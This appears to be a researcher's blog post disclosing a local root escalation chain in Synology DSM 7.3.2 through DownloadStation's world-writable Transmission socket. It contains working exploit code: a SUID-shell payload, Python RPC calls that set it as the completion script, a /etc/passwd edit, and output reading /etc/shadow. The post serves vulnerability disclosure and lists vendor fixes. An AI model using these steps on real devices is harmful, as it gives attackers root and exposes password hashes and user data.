Synology DSM 7.3.2
Chaining three issues to gain root from a low privileged user.
I'd just updated my DSM to the latest version and I thought yeah, why not attack it while I'm playing with new workflows, toys and tools, here we are...
TL;DR Good News Bad News
I discovered a local privilege escalation vulnerability chain in Synology DSM 7.3.2 that allows any authenticated user to gain root access when DownloadStation with BitTorrent is enabled. The exploit chains three misconfigurations:
- World-writable Transmission socket (
/tmp/synodl_transmission.sock) - World-writable system directory (
/volume1/@eaDir/) - Missing
nosuidmount flag on/volume1
Affected: Synology DSM 7.3.2-86009 (likely other versions too) Impact: Complete system compromise from any local user with shell access, it would be dishonest of me to downplay the 'local user with shell access, that's something that I have enabled, for my discovery and testing, so by default, Synology non-admin users are fine, but what I would say is that when the low privilege user does have a shell, the privilege escalation can happen, they're still a low privilege user with a shell, this works, so I thought it was worth sharing as other people might have other ways to introduce this execution.
if you're playing along
This is the bit that's frustrating with the time that I had I couldn't find a nice way to let the command below happen smoother than performing what some might call advanced linux account control (I gave the lowpriv account shell access, still lowpriv, but ... I still had to enable that shell, so ... minus hacking points, but if someone has something that unlocks this ... I'm sharing, you can too.
sed -i '/^LowPriv:/ s#/sbin/nologin#/bin/sh#' /etc/passwd grep '^LowPriv:' /etc/passwd
The Discovery
While mooching my Synology DS1522+ NAS, I noticed something interesting in the /tmp directory:
lowpriv@nas:~$ ls -la /tmp/synodl_transmission.sock
srwxrwxrwx 1 root root 0 Dec 31 22:54 /tmp/synodl_transmission.sock
A Unix socket owned by root, running as root, but writable by everyone. That's a red flag.
Understanding the Attack Surface
The Transmission BitTorrent daemon is part of Synology's DownloadStation package. When BitTorrent is enabled, it creates a Unix socket for RPC communication. This socket allows clients to:
- Add/remove torrents
- Query download status
- Configure daemon settings
One particularly dangerous setting is script-torrent-done-filename - a script that runs as root whenever a torrent completes.
LowPriv User Entitlements



The Exploit Chain
Step 1: Place the Payload
Synology has a hidden directory /volume1/@eaDir/ used for extended attributes. It's world-writable:
lowpriv@nas:~$ ls -la /volume1/@eaDir/
drwxrwxrwx+ 1 root root 164 Dec 31 18:53 .
I write my payload here:
cat > /volume1/@eaDir/payload.sh << 'EOF'
#!/bin/sh
cp /bin/sh /volume1/@eaDir/ROOTSHELL
chmod 4755 /volume1/@eaDir/ROOTSHELL
chown root:root /volume1/@eaDir/ROOTSHELL
EOF
chmod +x /volume1/@eaDir/payload.sh
Step 2: Configure Transmission
Using Python, I connect to the socket and configure Transmission to run my payload:
import socket, json, re
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect('/tmp/synodl_transmission.sock')
# Get session ID (CSRF protection)
req = json.dumps({'method': 'session-get', 'arguments': {}})
sock.send(f'POST /transmission/rpc HTTP/1.1\r\nHost: localhost\r\nContent-Length: {len(req)}\r\n\r\n{req}'.encode())
response = sock.recv(4096).decode()
session_id = re.search(r'X-Transmission-Session-Id: (\w+)', response).group(1)
sock.close()
# Set the malicious script
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect('/tmp/synodl_transmission.sock')
req = json.dumps({
'method': 'session-set',
'arguments': {
'script-torrent-done-enabled': True,
'script-torrent-done-filename': '/volume1/@eaDir/payload.sh'
}
})
sock.send(f'POST /transmission/rpc HTTP/1.1\r\nHost: localhost\r\nX-Transmission-Session-Id: {session_id}\r\nContent-Length: {len(req)}\r\n\r\n{req}'.encode())
print(sock.recv(4096).decode()) # {"result":"success"}
Step 3: Trigger Execution
I create a minimal torrent, add it via RPC, provide the matching data, and trigger verification:
# Create minimal valid torrent (details in full PoC)
# Add via torrent-add RPC
# Write matching data to /tmp
# Call torrent-verify
When the torrent "completes", Transmission executes my payload as root.
Step 4: Profit
lowpriv@nas:~$ ls -la /volume1/@eaDir/ROOTSHELL
-rwsr-xr-x 1 root root 1204768 Dec 31 22:55 /volume1/@eaDir/ROOTSHELL
lowpriv@nas:~$ /volume1/@eaDir/ROOTSHELL -p -c 'id'
uid=1029(lowpriv) gid=100(users) euid=0(root) groups=100(users)
lowpriv@nas:~$ /volume1/@eaDir/ROOTSHELL -p -c 'cat /etc/shadow | head -2'
admin:$6$Dvg6DnOkUw$HOCmbnWUy9c.irmxUbBY7Z...
Full root access achieved.
Why This Works
Three separate security issues combine:
| Issue | Description |
|---|---|
| World-writable socket | Any user can send RPC commands to Transmission |
| World-writable @eaDir | Any user can place executable files in a persistent location |
| Missing nosuid flag | SUID binaries in /volume1 retain their privileges |
Each issue alone is relatively low severity. Combined, they're Juicy.
Impact
- Confidentiality: Root can access all files, including password hashes, private keys, and user data
- Integrity: Root can modify system files, install backdoors, or compromise other network devices
- Availability: Root can encrypt or delete all data (ransomware scenario)
Sorry if i'm teaching you to suck eggs
Recommendations for the Vendor
- Run
transmissiondas a non-root user - Set socket permissions to
srwx------(owner only) - Add
nosuidto/volume1mount options - Remove world-writable permissions from
@eaDir - Validate script paths in
script-torrent-done-filename
Timeline
- 2025-12-31: Vulnerability discovered and exploited
- 2025-XX-XX: Reported to Synology PSIRT
- LOL:...
Full PoC
The complete exploit script is available: synology_full_lpe.sh
Usage:
lowpriv@nas:~$ ./synology_full_lpe.sh
[+] Transmission socket found and writable
[+] @eaDir is writable
[+] Payload written
[+] Transmission exploit completed
[+] SUCCESS! SUID root shell created!
-rwsr-xr-x 1 root root 1204768 /volume1/@eaDir/ROOTSHELL
Run this to get root:
/volume1/@eaDir/ROOTSHELL -p